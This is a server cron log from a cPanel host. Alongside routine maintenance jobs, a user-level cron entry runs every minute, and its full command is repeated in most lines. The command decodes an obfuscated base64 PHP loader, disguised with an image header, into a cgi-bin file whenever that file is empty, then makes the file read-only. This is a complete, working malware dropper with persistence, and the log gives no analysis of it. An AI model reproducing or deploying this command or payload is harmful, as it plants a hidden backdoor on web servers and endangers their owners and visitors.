"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:53:01 server CROND[6289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:53:01 server CROND[6290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:53:01 server CROND[6291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:54:01 server CROND[6672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:54:01 server CROND[6673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:54:01 server CROND[6674]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:55:01 server CROND[7069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:55:01 server CROND[7070]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:55:01 server CROND[7079]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:55:01 server CROND[7081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:55:01 server CROND[7078]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 02:55:01 server CROND[7080]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 02:55:01 server CROND[7077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:56:01 server CROND[7913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:56:01 server CROND[7915]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:56:01 server CROND[7916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:57:01 server CROND[8397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:57:01 server CROND[8399]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 02:57:01 server CROND[8400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:57:01 server CROND[8402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:58:01 server CROND[8791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:58:01 server CROND[8792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:58:01 server CROND[8793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:59:01 server CROND[9197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:59:01 server CROND[9198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:59:01 server CROND[9196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:59:01 server CROND[9199]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep 13 03:00:01 server CROND[9757]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 03:00:01 server CROND[9758]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 03:00:01 server CROND[9768]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:00:01 server CROND[9769]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 13 03:00:01 server CROND[9770]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:00:01 server CROND[9773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:00:01 server CROND[9775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:00:01 server CROND[9772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:00:01 server CROND[9774]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 03:01:01 server CROND[10673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:01:01 server CROND[10675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:01:01 server CROND[10676]: (root) CMD (run-parts /etc/cron.hourly)
Sep 13 03:01:01 server CROND[10677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:01:01 server run-parts(/etc/cron.hourly)[10676]: starting 0anacron
Sep 13 03:01:01 server anacron[10697]: Anacron started on 2026-09-13
Sep 13 03:01:01 server run-parts(/etc/cron.hourly)[10699]: finished 0anacron
Sep 13 03:01:01 server anacron[10697]: Will run job `cron.daily' in 46 min.
Sep 13 03:01:01 server anacron[10697]: Jobs will be executed sequentially
Sep 13 03:02:01 server CROND[11190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:02:01 server CROND[11191]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:02:01 server CROND[11192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:03:01 server CROND[11589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:03:01 server CROND[11590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:03:01 server CROND[11591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:04:01 server CROND[12003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
